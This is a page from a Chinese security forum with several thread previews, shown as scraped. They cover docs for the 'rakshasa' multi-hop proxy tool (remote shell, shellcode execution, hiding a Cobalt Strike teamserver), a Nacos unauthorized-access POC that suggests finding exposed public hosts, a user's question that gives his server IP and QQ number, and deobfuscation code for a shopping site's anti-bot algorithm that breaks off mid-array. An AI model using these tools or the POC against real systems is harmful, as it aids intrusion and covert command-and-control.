90Sec - 专注于网络空间安全
rakshasa多级代理内网穿透工具
rakshasa是一个使用Go语言编写的强大多级代理工具,专为实现多级代理,内网穿透而设计。它可以在节点群里面任意两个节点之间转发TCP请求和响应,同时支持socks5代理,http代理,并且可以引入外部http、socks5代理池,自动切换请求IP。
节点之间使用内置证书的TLS加密TCP通讯,再叠加一层自定义秘钥的AES加密,可以在所有Go支持的平台使用。可以在你所有的的Windows和Linux服务器上搭建节点并组成节点群网络。
节点分为普通节点(node)与控制节点(fullnode)
- 普通节点,无法控制其他节点进行代理、shell等操作
- 控制节点,全功能节点
- 见文章下面留言补充(1)
-
更多介绍:见文章下面留言补充(2)
-
win10+Proxifier实现内网穿透:见文章下面留言补充(3)
-
v0.1.0 2023-03-28
- 首次发布
-
v0.2.0 2023-04-02
- 更改为fullnode版本,fullnode为全功能版本可以控制别人也能被控
- 增加node版本,去掉私钥,无法发起代理等关键操作,适合被控
- 增加lite版本,在上面版本的基础上,精简cli交互与http代理池,体积缩小2mb
- 优化节点连接逻辑,并且遍历网卡ip进行net.Dail,解决多网卡下,无法连接的问题
生成新的证书,编译所有版本节点
go run build.go -all编译所有版本节点(不更新证书)
go run build.go -all -nocert生成覆盖证书
go run build.go -gencert生成控制节点与普通节点
go run build.go -fullnode只生成普通节点
go run build.go -node证书保存在cert目录下,可以使用第三方工具生成,请使用RSA PKCS1-V1.5
private.go --编译普通节点的时候要删除此文件 private.pem --与public.pem对应的公钥私钥,普通节点不包含私钥 public.pem server.crt --tls通讯证书 server.key --tls通讯私钥 版本区别 fullnode node fullnode_lite node_lite 连接其他节点 √ √ √ √ 启动本地socks5代理 √ √ √ √ 启动本地http代理 √ √ √ √ 启动多层代理 √ × √ × 远程shell √ × √ × 其他远程功能 √ × √ × 交互式CLI √ √ × × check_proxy √ √ × ×简单来讲
- fullnode 完全版,能控制别人,也能被控
- node 能连接其他节点,但是不能对其他节点操控,适合作为被控端
- lite版本,精简掉cli和net/http,与一些debug的代码
不带任何参数即可启动:
d:\>rakshasa.exe start on port: 8883 rakshasa> rakshasa>help Commands: bind 进入bind功能 clear clear the screen config 配置管理 connect 进入connect功能 exit exit the program help display help httpproxy 进入httpProxy功能 new 与一个或者多个节点连接,使用方法 new ip:端口 多个地址以,间隔 如1080 127.0.0.1:1081,127.0.0.1:1082 ping ping 节点 print 列出所有节点 remoteshell 远程shell remotesocks5 进入remotesocks5功能 shellcode 执行shellcode socks5 进入socks5功能 rakshasa>请查阅CLI使用说明了解详细信息(见文章下面留言补充(4) )
其他启动参数说明 -nocli在无法后台执行的情况下,启动一个不带 CLI 的节点:
nohup /root/rakshasa -nocli > /root/rakshasa.log 2>&1 & #Linux下配合nohup后台执行 -p 端口以指定端口启动:
rakshasa -p 8883 -d ip:port,ip:port...连接下一层代理或更多层代理,多个地址以逗号隔开,生效在最后一个 ip:port:
rakshasa -d 192.168.1.1:8883,192.168.1.2:8883,192.168.1.3:8883 -socks5 1080 #从本地1080端口启动一个socks5代理,流量通过三层转发ip最后在192.168.1.3请求目标数据 -socks5 用户名:密码@ip:端口本地开启SOCKS5代理穿透到远程节点,可以不带-d:
rakshasa -socks5 1080 #不使用-d参数,则表示直接在本机启动一个socks5代理 -remotesocks5 端口远程开启SOCKS5代理流量出口到本地:
rakshasa -remotesocks5 1081 -d 192.168.1.2:1080,192.168.1.3:1080 #方向从右往左(加上本机是3个节点),在192.168.1.3这台机器开启一个socks5端口1081,流量穿透到本地节点出去 -connect ip:port,remote_ip:remote_port本地监听并转发到指定 IP 端口,使用场景为本机连接 teamserver,隐藏本机 IP:
rakshasa -connect 127.0.0.1:50050,192,168,1,2:50050 -d 192.168.1.3:1080,192.168.1.4:1080 #本机cs连接127.0.0.1:50050实际上通过1.3,1.4节点后,再连接到192.168.1.2:50050 teamserver,teamserver看到你的ip是最后一个节点的ip -bind ip:port,remote_ip:remote_port反向代理模式,必须配合-d使用:
rakshasa -bind 192.168.1.2:50050,0,0,0.0:50050 -d 192.168.1.3:1080,192.168.1.4:1080 #与上面相反,在最右端节点监听端口50050,流量到本机节点后,最终发往192.168.1.2,最终上线ip为本机ip -http_proxy 用户名:密码@ip:端口启动一个http代理,可以不使用-d,建议配合-http_proxy_pool使用代理池,自动切换代理ip:
rakshasa -http_proxy 8080 -http_proxy_pool out.txt -password 密钥各节点除了证书校验之外,还额外支持密钥连接,建议使用并定期更换密钥,以避免二进制泄露后被别人连上
rakshasa -password 123456 -f yaml文件 [详细说明]指定配置文件启动。
-help更多启动参数使用帮助
关于开源本作品使用MPL 2.0许可证,您可以下载、修改和使用本代码。然而,您必须明确表示,任何此类担保、支持、赔偿或责任义务均由您单独提供,与本作者无关。本人不承担您在使用或修改本程序所造成的任何后果或责任。
在遵循MPL 2.0许可证的基础上,您可以自由地对rakshasa进行修改和扩展,以满足您的特定需求。同时,您可以将改进和新功能贡献给社区,让更多人受益。但请注意,确保在分享和发布修改后的代码时遵守许可证要求,并尊重原作者的版权。
联系方式QQ: 2252233695
WeChat/微信: Mob20045
3 个帖子 - 2 位参与者
Nacos未授权访问漏洞复现
**漏洞简单描述:
Nacos是一套帮助发现、配置和管理微服务的程序。提供一组简单易用的特性集,能够快速的实现动态服务发现、服务配置、服务元数据以及流量管理。
2020年12月29日,Nacos官方在github发布的issue中披露Alibaba Nacos 存在一个由于不当处理User-Agent导致的未授权访问漏洞 。通过该漏洞,攻击者可以进行任意操作,包括创建新用户并进行登录后操作。
https://github.com/alibaba/nacos/issues/1105
在Nacos 2.0版本存在未授权访问漏洞,程序未有效对于用户权限进行判断,导致能够添加任意用户、修改任意用户密码等等问题。
危害等级:高危
影响范围 : Nacos <= 2.0.0-ALPHA.1
*1. 漏洞环境查找:
直接使用fofa、hunter、zoomeye等公网环境,虽然公网环境的nacos 不是很多。但是存在漏洞的环境还不少。 我这里用的是hunter,title="nacos" 就可以直接使用。*2.然后使用google hackbar发送数据包:
POC:
http://IP:端口/nacos/v1/auth/users?pageNo=1&pageSize=9
密码很慢解密,后期利用方法可以使用添加账号、修改账号poc。此类poc公网环境测试风险比较大。
4 个帖子 - 4 位参与者
求咨询微步相关人员关于个人隐私相关问题。
昵称:limanman233 电话:你们微步有 qq:496672097 不怕人肉。半实名询问
我是主机39.99.247.218的管理员,该主机主要用来支持我自己的《慢文档》应急响应笔记的网站。网站建于2021年。
由于个人是难民,而且安全工作基本处于业余状态,所以没有钱支持我去购买新的服务器。
所以我会在该服务器上安装cs,并进行公网测试。
由于cs都是点对点的通信。那么我想问一下。微步如何能在样本中获取我的样本。如何获得我的cs通信信息。
换而言之,微步是如何监控到我的点对点通信的,并窃取传输样本的。
2 个帖子 - 2 位参与者
某多多anti-ceontent核心算法
某多多的ant-content核心算法解密版本,耗时4天3夜,并非网上直接把代码扣下来的。完全解密版本
解密方法和代码代码是用ast来解密的。利用babel处理,解密一部分+手动修复代码。
AST相关的教程和文档
以下代码不适用于所有加密
const fs = require("fs"); const { parse } = require("@babel/parser"); const traverse = require("@babel/traverse").default; const generator = require("@babel/generator").default; const t = require("@babel/types"); const beautify = require("js-beautify"); const jscode = fs.readFileSync("./pdd_ant2.js").toString("utf-8") let ast = parse(jscode); function node_eq(node, node2) { if (node2.type == "VariableDeclarator") { node2 = node2.init; } return node.start == node2.start && node.end == node2.end; } function var_get_referencePaths(nodePath) { const context = nodePath.parentPath.get("left").context; const bindings = context.scope.bindings[nodePath.parent.left.name]; return bindings.referencePaths; } function get_scope_binding(path) { if (["callee", "MemberExpression"].includes(path.key) || path.get("object").node) { return path.scope.getBinding(path.get("object").node.name) } else if (path.node.name) { return path.scope.getBinding(path.node.name) } else if (path.get("id").node) { return path.scope.getBinding(path.get("id").node.name) } else { console.log("没有binding") } } //查找当前变量所有使用的地方 function relyon_var(referencePaths, codes = new Map()) { //作用域 for (let i = 0; i < referencePaths.length; i++) { //使用的path const nodePath = referencePaths[i]; //在当前方法内直接返回不管 // if (node_eq(nodePath.node, node)) { // continue; // } //说明是一个赋值操作 var n=u; if (["right"].includes(nodePath.key)) { //抽离关于n的代码 const varScope = var_get_referencePaths(nodePath); relyon_var(varScope); // const id2 = nodePath.node.start + "_" + nodePath.node.end; // codes.set(id2, nodePath) // //查找当前nodepath使用的引用 // const context = nodePath.parentPath.get("left").context; // const bindings = context.scope.bindings[nodePath.parent.left.name]; // const referencePaths = bindings.referencePaths; // //引用 // for (let index = 0; index < array.length; index++) { // const element = array[index]; // } // console.log(binds.referencePaths) } } } function encode1(arg1, arg2) { var u = ["fSohrCk0cG==", "W4FdMmotWRve", "W7bJWQ1CW6C=", "W5K6bCooW6i=", "dSkjW7tdRSoB", "jtxcUfRcRq==", "ALj2WQRdQG==", "W5BdSSkqWOKH", "lK07WPDy", "f8oSW6VcNrq=", "eSowCSkoaa==", "d8oGW7BcPIO=", "m0FcRCkEtq==", "qv3cOuJdVq==", "iMG5W5BcVa==", "W73dVCo6WPD2", "W6VdKmkOWO8w", "zueIB8oz", "CmkhWP0nW5W=", "W7ldLmkSWOfh", "W5FdIqdcJSkO", "aCkBpmoPyG==", "l27dICkgWRK=", "s05AWR7cTa==", "bttcNhdcUW==", "gJldK8kHFW==", "W5Sso8oXW4i=", "FgC0W7hcNmoqwa==", "xmkPhdDl", "e14kWRzQ", "BNFcVxpdPq==", "z1vadK0=", "W7yOiCk2WQ0=", "qLb7lg0=", "t8o6BwhcOq==", "gmk6lYD9WPdcHSoQqG==", "oqldGmkiCq==", "rmo+uKlcSW==", "dSoIWOVdQ8kC", "iXSUsNu=", "W5ipW4S7WRS=", "WPtcTvOCtG==", "A3CcAmoS", "lCotW6lcMba=", "iuGzWPLz", "WQVdPmoKeSkR", "W4ydoCkqWQ4=", "jCobW47cNXC=", "W4tdJCkNWOCJ", "hCo/W7ZcSJ8=", "BNuZW6NcMG==", "b8kFW6hdN8oN", "W4SpoCkXWQK=", "cXddOmkDFa==", "W63dHSoyWQft", "W6ldSmk0WRj4", "A2bHWOtcHeeMyq==", "f3VcSSk/xG==", "qg1u", "ftyivga=", "DCkhpsfe", "WR3cKmo3oMWEw8kK", "yev3", "W4xdMKSejbm=", "W797WOL7W4m=", "W6xdOCkKWQXw", "gcCUye0=", "W7WXkmomb8kT", "c8kIesD0", "WOTpEW==", "ySo3E8oVWPy=", "iNyhW5lcNLNcG8kYWQu=", "W7JdMSkfWRnD", "FfijW5tcHW==", "xCokW54Zzq==", "W77dUsi=", "W5FdHfa6eq==", "E1FcQvVdSG==", "eZ/dNCo4AG==", "CgPmWQZdKa==", "A8oLECoJWPS=", "oCoSW7VcTJC=", "mCoADa==", "W7DXuSouDq==", "ic3dQCo8ua==", "rN3cIa==", "W6/dJ8kPWRGQ", "W4xdLYlcPmkc", "F3JcPvZdLa==", "xCk8iHn4", "qg15", "W5/dL8oOWPr4", "hW41C3C=", "sSoZzwxcPW==", "ywdcUvNdUW==", "t0TzWQpdIG==", "lv7dJSoIjq==", "W5Tzxq==", "W6DnWQK=", "W5mGaCkFWRC=", "W6LmWO5+W6C=", "WR7dQmoJa8k+", "emkFW4ddOmob", "imk8imoNEa==", "W4ZdP8kaWPvc", "F8k4WO40W4e=", "cSoHE8k9cG==", "jw4TW5dcSW==", "wuJcOKRdTa==", "swNcQx/dGG==", "aCkSiCoMEq==", "W6pdS8owWQTH", "WRFdQmonjmkT", "cKBdGCkpWOm=", "oCoWW4VcPIa=", "WQddSSoUjmks", "c8kdW5JdM8oE", "W7b0AGvl", "sCk4WOylW60=", "nXNdSmkXvW==", "W67dRSkjWOqj", "W44EcCohW6O=", "W6ddPmkpWRHN", "W7tdVIVcOSkR", "qg3dVG==", "W7Ofcmofda==", "WRDmW5VcLq==", "CSoRW4W4Aq==", "mmo0WP3dVmkj", "i8omW6ZcPd8=", "CSkaWQyvW4m=", "ACkMWQCLW4q=", "W5pdOCk0WRv3", "W7yDW44SWP8=", "WRP8W5dcNmkd", "ymkNaID5", "cfeTWRT6", "W6WdbmkmWO0=", "eSo3WQldVCkU", "W5flwZrl", "WPVcTe4tWQu=", "DuCPumok", "hLpcKCksqXe=", "g3hdUCkoWRu=", "sL0sW6JcPW==", "lf7dL8oOpG==", "w8k4WPWJW7u=", "i08mW5dcUW==", "kb/dU8klsW==", "WOhcMSoW", "W5LnfG==", "F8kJWQmxW6m=", "W5ldU0CDca==", "eKRdKmkoWPG=", "tmouW60=", "gSkrW7JdVSor", "WPNcP8oc", "DhLAmLW=", "sSo0EfdcQq==", "W6ygW689WQq=", "W6CPimkIWQa=", "WRJdLmoynSkY", "W5iimCkDWRa=", "oMhdN8kPWRHV", "eNqQWQHn", "bmkakSoHW4u=", "W4PxEbvN", "WQhcQxSWyW==", "xCoKEW==", "guBcISk2yG==", "nviRW4BcSq==", "m3tcVmkXCJ9YWQyXd8kuWQfJW71fWPmnWRj+WR1tW6WbW4PDdCkrkLbDs8ozWR4gySoyv20rWO3dJJpdIh9DWPhcGCoctKFcN8kTW6nHvbLRkg9MeKhdHCoP", "W7iZfmolW4q=", "p1JdGSk4WPW=", "ns3cTuhcMSk6u8kj", "q8kmhr5p", "lWCxtKW=", "pmk+hSoYFG==", "bdFdKmkIwa==", "WR/cMSoL", "csCy", "W7BdKCkmWPfO", "tCkeWPyXW70=", "smkVWRK=", "dNFdQSokiq==", "W5OyoCoLW5O=", "W4RcIZ0xW5hdPCkaWPddO0aoE8oCwXVcSgbVtWbqW6u=", "iKNdK8khWRa=", "WQtdQCommSkg", "W6ddU8k1WQ94", "ASoXAMRcHG==", "gMhdKCoBna==", "eCk5mSoEW6K2v8octbK=", "pmo+Fmkfea==", "f3y8WPL0Ex4=", "oSkmm8oczq==", "W7ldK8oWWRnrW6WtqMG0W7/cMxbU", "W7uwdmofbG==", "A8oqyudcPG==", "s8oHt3FcTq==", "a8okBCkAdq==", "W7mvg3OI", "E8kLWR0dW7i=", "W78qhKSF", "W6XMWRHsW6K=", "hCoyzSk7fa==", "WQNcKSoHp1S=", "oCkaiCocW6i=", "bSoEW5ZcVXq=", "W5pdVCkHWRj3", "eehdNSoGhG==", "W4VdTmkhWRO=", "W73dMte=", "bqBcJelcTG==", "WOpcKLXWBa==", "W7uRa0OKnwpdRmoq", "WO3cKSoHW7C4", "WPRcOCofl0i=", "BxvOWPhcSa==", "hwK0W7tcJq==", "BMOjW5lcGq==", "cmouWONdUmk8", "E8k9WQyjW7NdNa==", "WRNcQSoFi0S=", "zLTHWPpcUW==", "WRPjW7BcLCkB", "BLRcLMddLW==", "s8kzWOiiW5m=", "W40mW4uqWP8=", "i13cMCk7Ea==", "WQBcLMupWOu=", "x8o2xmoD", "hCkBcCoLvW==", "FmkEWRShW5q=", "W58ikmo+W7K=", "W4KehmkSWOG=", "WQZcLCod", "WQtcHgXHCa==", "W4ldRbpcSmkY", "r8oKW5ukr0e+gW==", "dSkjW4FdLCoY", "cGa6Ee4=", "W69pymoVuW==", "WQRcSCo7i0i=", "W5RdICoWWQPaW70ode4=", "cfiNWODs", "W7rzWPr/W4u=", "ySkuecz+", "W4qsW70WWOq=", "W5VdS8kmWPXz", "W44jW7W=", "pxRcGW==", "ye5hngpdUa==", "WRRcQfT0va==", "WQxcImouW7CY", "qLRcJKddTa==", "p8o6q8kUdW==", "W4nlWRLvW6W=", "p3hdQ8kzWOe=", "W4eFeCojW5W=", "W43dNCoMWRG=", "nNCqW7lcQW==", "FCoqw3dcUq==", "W4BdGSkKWQ8+", "rmo8q1/cKW==", "D0assmov", "f0eQWODU", "nJXVfCo5W6VcVIniWPKKcCkpWO0fW63dNI4fWPziiSkWEmowWO12AKqNWQvPyCkMmb8aCConW7ddQCkmxs3cG3xdJuuMW7FdJCoqWQndsmk9WQzzW5mgWP/cUHmx", "pCoRymkabCoqta==", "i2xdImk+", "owFdVSkkWOm=", "WPNcK1H+Ca==", "W4FdKJxcICkP", "W4hdNSkuWO4=", "W7Gol8oAW6O=", "W61RWRrOW4y=", "W7qAn8ksWQK=", "WPVcRvWNWOG=", "xmoyrwFcQW==", "WOz7W4hcRSkB", "l1yQW5RcSW==", "zvJcQvZdNa==", "W4hdPSobWPvy", "nWldKCoIvG==", "CeTyh3K=", "pa/cVexcLG==", "cmk0W6JdUSoK", "AwSxW5ZcHq==", "jIpcKfdcOW==", "W5r5WQXpW74=", "n8k1mmoHW4G=", "xe4JW7FcMW==", "hmolw8kViW==", "gfutW6hcSG==", "hflcVSkzrW==", "jZpcRN/cRq==", "W7tdV8kF", "ig0UW7VcLW==", "b03dGCkBWP0=", "nYFcPW==", "W4ueW6StWP0=", "W4BdN8ogWR9D", "qe89qCo3", "W68dgmkSWR4=", "Ae0FsmoD", "pSoVECkojG==", "W6aplSoBfG==", "mq/dR8omya==", "amkMiCojW40=", "xN5GWPVcJa==", "W67dJmk4WQji", "fxRcVCk7yG==", "fSkLoSoLW7a=", "a8oCWPJdP8kt", "e8o0WRxdI8kv", "ChO3W6NcMa==", "awVdPmkGWO0=", "nCk0W6pdMCod", "W4xdP8kOWO5J", "lSowxSk0fW==", "js/cPwVcTW==", "WOJdRmo9amkt", "nsRcULdcUmkH", "gCkIW4FdLmoF", "DmovW7erzG==", "cSoFD8kfeq==", "WRVcH8ouW7aC", "WPvCW6xcKSkr", "W4qRW4arWQW=", "WPpcPgjfFW=="]; var n = u; var e = 280; (function (t) { for (; --t;) n.push(n.shift()) })(++e); var c = function t(n, r) { var e = u[n -= 0]; void 0 === t.dkfVxK && (t.jRRxCS = function (t, n) { for (var r = [], e = 0, o = void 0, a = "", i = "", u = 0, c = (t = function (t) { for (var n, r, e = String(t).replace(/=+$/, ""), o = "", a = 0, i = 0; r = e.charAt(i++); ~r && (n = a % 4 ? 64 * n + r : r, a++ % 4) ? o += String.fromCharCode(255 & n >> (-2 * a & 6)) : 0) r = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=".indexOf(r); return o }(t)).length; u < c; u++) i += "%" + ("00" + t.charCodeAt(u).toString(16)).slice(-2); t = decodeURIComponent(i); var W = void 0; for (W = 0; W < 256; W++) r[W] = W; for (W = 0; W < 256; W++) e = (e + r[W] + n.charCodeAt(W % n.length)) % 256, o = r[W], r[W] = r[e], r[e] = o; W = 0, e = 0; for (var d = 0; d < t.length; d++) e = (e + r[W = (W + 1) % 256]) % 256, o = r[W], r[W] = r[e], r[e] = o, a += String.fromCharCode(t.charCodeAt(d) ^ r[(r[W] + r[e]) % 256]); return a } , t.vDRBih = {}, t.dkfVxK = !0); var o = t.vDRBih[n]; return void 0 === o ? (void 0 === t.EOELbZ && (t.EOELbZ = !0), e = t.jRRxCS(e, r), t.vDRBih[n] = e) : e = o, e } return c(arg1, arg2) } function encode2(arg1, arg2) { var c = ["kmkRjCkHyG==", "tSkzhCooda==", "W5HyfwldN8oaq8kZWRj+fCkwCColW6pdVG==", "oNjak8o1", "W7ijFCk/zq==", "WQeJn8kMW54=", "W5TZqxn7W4NcJSo1WR4=", "WQfrW7JcOSocW5vs", "W74jevDO", "WO3dQSkcgJu=", "hKrxomoO", "jhBcNIrJ", "Emo/W53dGq==", "rMaLc3i=", "hmkKWPXWWQddJmkmWQC3", "W75cASo9WRKndmkl", "vConW4uZjq==", "gmkOnSkozG==", "EmkgWP/cMCkJWOib", "W6uKbffk", "wCkyWRhcR8km", "nNFcRYC=", "rv0Qd0C3FNlcGSk+WQy=", "WQdcObtdVSoVg8oHWPddNW==", "W4yRqSkPqq==", "WPGeb8kHW50=", "mcdcOmomW5xdLGBdQ2lcVeJdMmkWhmkD", "eSkQnSkz", "WPquomo0sq==", "wtVcRmkpW6m=", "A8klWPxcL8kd", "WP1qWP95WO0=", "WRNdQ2zLW7K=", "W4CcWOjBWRHvCG==", "WR1iW63cOCoBW5LnW7zVxh9r", "wLpdO8kqW4JcG8oG", "rCoGW7pdJmoW", "f8kHmCkkEuq=", "cmoJdmoUW7q=", "W5XDW6q=", "WQpdRKvKW7TRW6eYW7e=", "WPFdK8k9cdNcQKeSsa==", "WRLKW7/cHmoL", "w1mHpNi=", "DhyQhuq=", "W53dIrP1qa==", "W44Zz8k/", "W6BdPszHCG==", "WQz3W4/cPCoV", "CSkOWQngECkPWRNcPmkCW6ZcGCk3W6y=", "W5v+wmokWR8=", "xNqggwy=", "qCorzgxdQCoeW5ZcM1W=", "jmkYWObWWQe=", "jCovWQq0W5pcVa==", "tCoyW6pdKv0=", "xv4N", "nHO9WOyQW6G=", "aCk1WP1aWPC=", "W4uVjffacG==", "wSoGW5BdGMa=", "rCkShCoJ", "W5nMr8ojWQ4=", "uSk8WOFcQSkK", "W4TaW7ldUcW1l8kMWQZcL8ouW5S=", "WQ7cQe/dMCoWtbb5qSk3zeKbW5JcS8kL", "W6ldGZvkvSk3fx7cJG==", "lLb2lCoroGG=", "W7CJWOvkWOy=", "lfxcNSkJ", "s8k6WOhcU8kC", "W6VcKmo2hry=", "ymozW7q7Aa==", "CIX7rdK=", "W44RqCk5W5C=", "W558rN1t", "lHBcOmorW50=", "q8oZW5Kf", "BaNcUSkzW6v9AcRdKdWe", "W4HrW6xdGYK0hSkAWQG=", "D1WrcfK=", "W5VdRIrhWQtdG2K=", "W618C3XL", "W5eRjv1xpmoVWQ3dMq==", "mwtdISoNW6XgoCoVsa==", "W71Yx1PY", "W7uLv8k4W5q=", "W71QFurt", "WORcH3JdUmoj", "WRldO3r8W7u=", "pf3cJbfW", "FCodW5xdT1W=", "FmoFy2VdLq==", "WRJdRfLVW7TIW7aRW6qdW5O=", "WQG/nG==", "yCoJW5VdGCohW5qDA8oW", "bCoGWQCSwG==", "CCoWW7pdPsKhW4ZdG1ZcP8kjuvrd", "W5VdSd5uWQldMwpdV8oM", "emoNgmoiW5m=", "amkKWPf8WPS=", "W6OWzSkNEW==", "WRKTmmkYW50=", "W7SmwSkqW6q=", "F8oFzMhdQCod", "j1xcTmkGgq==", "W6RdNZzBsW==", "W4SVp3vao8o+WRZdGW==", "W4C3W7JcMdK=", "D8oMW6S7qa==", "y8olDgxdQCo9W5ZcHvRcRa==", "W4qEke5i", "gCkRWPTJ", "WOOogmk7W4NdIG==", "WRJdICkUhtNcVa==", "ySoFDMNdVmolW4hcHa==", "WP7cGfZdMCoe", "wvuPdLGMwMNcLW==", "W5vnp1tdSW==", "bLzAeCoK", "WRFdK8k9cdNcIKeSsmkjWP3dIWhdNmoNx8oeWQW=", "WRuKdSkmW4O=", "xSkHWQxcMmkc", "BqZdSmopW64=", "W7uoACk+W7jbW6ijWPu=", "mxFdHSo4W40=", "W5ailLzq", "d2ZcR8kalG==", "W7ddRtnkWQJdJM7cR8oqALldNcxdSb8xlmoTW5efDCkdW68kW7NcVgtdKmkhrGWTWPq=", "fmk1WRfvWQ8=", "nJOjWQqu", "DqpcT8kY", "WQrbWP1hWOu=", "W7hdPGTsWOa=", "xv0Nagu=", "WO7dK8k9gdtcVvO6vmk4", "evxdV8ocW48=", "bmoWWPabW7W=", "W7LaW77dJsT4gSkuWQ3cMG==", "W5vxW4hdJY4=", "u8oQW483hG==", "W7a5nw1s", "W51AhNFdHmorACkMWQu=", "cmkXpCkEEv7dLSo6pq==", "WQBcVHZdSSo9", "WOSueSk/W43dIG==", "qCosW67dPmoK", "W5GwWPrJWRrwCfHj", "W7/dNIvTwSk+h1RcLfGvCq==", "W4RdNJjwqq==", "sui0oM8=", "y8kkWQriCq==", "W7z2W43dJXe=", "vcFdHSo6W5S=", "dLbMkmotkYiCg8o8yCojW61FWQhcKYC1WPJcMSoxBq==", "jmotWRa+W43cOSkJaW==", "W5uTnvzjoConWQFdMW==", "WPiGkmozzCodDmoRva==", "AGddJmoPW4S=", "W4qqASk2ta==", "FxSNcgO=", "B8osAwxdTCoEW60=", "WRzjW7tcJ8oBW45kW6H6swrkW7m=", "WQlcQvJdR8oNtHTDB8k9Fa==", "WPO0oCkRW6u=", "lvRcMCkZf29ZW5O2WQBcUq==", "W5qUW7tcKdRcGmkCs8oZ", "WOSXgCkVW4u=", "W4SHmKPaomo2WR7dJG==", "FGZcVCkT", "qh0VkKqwmxRcIW==", "bmo7WPu+W44=", "W69sogldKq==", "WPSGjmo0", "awJcJSk8pG==", "zmkhpmoojG==", "W53dOqnCqG==", "xG7cQCkIW4C=", "x8k5WO/cL8ki", "umohW6hdHSo9", "W6VcK8o2", "etWLWQGJ", "W5/dRsrdWQxdNM7dRSoXFW==", "nxdcTdv1", "W5eHW7pcNHi=", "xIJcTSkqW4K=", "WQxcRXpdSmoh", "BqxcImkbW6q=", "WQmGj8kWW5tdOgeFWR5gW5BdNa==", "WQFdQfvVW6vUW4m4W7m=", "hmkOlCkSra==", "s8kHAcSz", "iSo1WOeABmoLW705", "WQBcRqldVSoSha==", "xCo6W7BdG8oT", "DCklWPJcK8ksWPu3W47dKCklW4DWW4Ty", "vh0TifW=", "CXJcQSkJW6jgAdhdQd0u", "jrmSWOij", "WO7cRw3dPCod", "WQf1W6RcOmoh", "WQVcHwhdTmoC", "gmkOoSkmF2/dNSo3mHO=", "WPOrgSkXW5W=", "W5qbWO1gWR1VFKHvfG==", "rCo9W5KBzSkoWR3cOvuGW4CUW5TCgq==", "v8oRW5ZdN8oh", "fCoKWOCFBSo0W5CIW5NcI8kI", "W6RcT8owpqK=", "p8oyWR8V", "W4DBbhNdMq==", "q8kLWPbMBG==", "beZcTdzw", "b2KYtea=", "uSktWQ/cNCkz", "tmkKWQBcLSk+", "nSojiSoFW6BcSsa+W4C=", "W7SMzCkOW68=", "BmocW4K9CG==", "m3SYrMi=", "i3/dI8o3", "WQxcVb/dR8oMbSo2WOxdNG==", "z8oEW6elkG==", "W47dSsDcWRu=", "W5TUggZdNG==", "pe4VsW==", "lLP9amofoGide8oTzSosW6jOWQFcKJ0cWOhcK8ovFmkK", "W4qNFSk8W4eV", "kcVcOmoxW53dLXC=", "W5aAWOvB", "WObbWRjYWRm=", "qCkmWOXaAa==", "WRRdOL5L", "seOHbv8=", "mCozWQu=", "WQvoW4KqW4u=", "WP8ieSkRW7q=", "W55yhwRdNW==", "zKeYega=", "w2xdOmksW4a=", "W5WzWOvB", "W7OBrmk6W7O=", "eSoWWP0ECmozW7C9W5VcJCkI", "u8kgWRbJtG==", "vZH7AcG=", "auaS", "h8oRWQOmya==", "W63cT8o8gs0=", "WOiClCksW7m=", "vmktWQn9vW==", "omoxWOCkyW==", "W7r6gvhdJW==", "W5SfW4hcTY0=", "W7yMFCk5zNi=", "fmkQWPfIWRJdImkfWRy=", "wLFdVCkyW4BcJq==", "WQBcOKldQa==", "b3NcMYPe", "wSkpwGmD", "WPjMWQ98", "cmkmhCkFqa==", "WPzhW63cQW==", "mNFcQdbPv8oOF1y=", "WQf+W7WqW4O=", "tSkTemoU", "WRPuW7ZcQa==", "yCoZW5C=", "uCo6W7xdT2WLW4xdK2O=", "W4n8xvP4W47cH8oKWRi=", "tmocW48S", "aulcNCkufa==", "feeT", "W4hcLCopbbu=", "W6VdPqPrAq==", "rSoaW487amolp2FcHCkejmkkucW=", "W5ONwmkUW70=", "e2D4e8ou", "xhOhihO=", "W7dcU8o2gZ0=", "WPZcGw7dKmov", "W5TTqxDPW4xcS8o1WQJdTuNdH8oXWOvNW6m=", "h8kLk8km", "W5VdTYjiWOpdGM7dPSoLyLFdNcpdSciC", "WQKUmSkSW57dPhSeWOe=", "WO3cIsBdTCoe", "W7yfESkYFa==", "smk+AsG/", "W6mfW7JcOWu=", "uYnUwsm=", "CmkGWPxcKCkO", "keZdGCohW6e=", "W6JcPmoAbru=", "ofb+jCovpaGC", "W71VeMddQG==", "WPNdM0zDW74=", "WPflW47cHCok", "W7LtDxXU", "W7ehW7pcLH0=", "W79Pu2bw", "efK6sLNdTrfJWRZdPum=", "gNGFr34=", "W5DPySo9WO8=", "WO8LnmokDSojya==", "k8kwg8kIEa==", "sLKWlKC3vMhcICkKWPddVwuY", "WOpcP2NdQSod", "qvJdUSki", "W6WHWPzRWRu=", "nmo8WRaAvG==", "W4uIwSkjwG==", "j2tdISo+W4bAiCoTBHC1lq==", "ba/cTmoUW4e=", "W4qMzCk0AMxdR8opu1LXEdlcGSokgSkV", "tmkch8o+iG==", "nhJdGCo2W6vBlSo6sq==", "iSkcWQvLWRm=", "tmo0W6pdR0C=", "W73dJcnUWOy=", "qI5Fqs04uCkyW44=", "tSoDW6OgCG==", "WOODq8kmWOS=", "W4JdQInpWQddIa==", "qwOXj14=", "nmoyWPuSW50=", "umoFW4mQkSoPlgZcNW==", "WOxcJ2JdImoh", "WPyinSonqq==", "W73cOCo6pI4=", "D8obW5VdVCoE", "WR/dRSkMcJ0=", "cSo0aSo2W7dcQsq+W5ldVfO=", "W4ThW6tdHa==", "mrZcH8o4W5G=", "WOzMWRH2WOG=", "W5SjF8k0W61k", "CJddLSo+W6DgESk0gmkK", "W7/cRvO=", "ACoqy2/dV8op", "DSo9W4BdTmoH", "AdVdJCo8", "W7uHpxvk", "WPxdICk8hI7cMuC/uSkK", "W5/dPYju", "b1LGi8oi", "nCkDWPr5WOq=", "cSkqWRDcWOm=", "uSovW7hdOCoG", "WPWkg8ktW78=", "W4ObW7BcKra=", "WPnnW5aSW5DrWRO=", "W6VcG8o6aJDYWOL+CG==", "qCovW7q/ga==", "msRcSmoEW4ddMaZdLuRcSuxdPa==", "nHmJWOuxW6u3CCkoWPpdPW==", "s1NdVmkxW4dcHq==", "W6iQW5pcNtm=", "W4KAvCktW7C=", "qg4Jnwu=", "bee/rLpdLbPVWR8=", "aSkUWRHEWQy=", "WQddUhX7W44=", "W4vbaNFdHmoxAq==", "s1a3ceW=", "pINcUSoCW58=", "WOiJemksW6m=", "ir06WOOVW54IFSkiWOJdJXhcNCoLFSo3W7yrW6W=", "qCoUC1pdOG==", 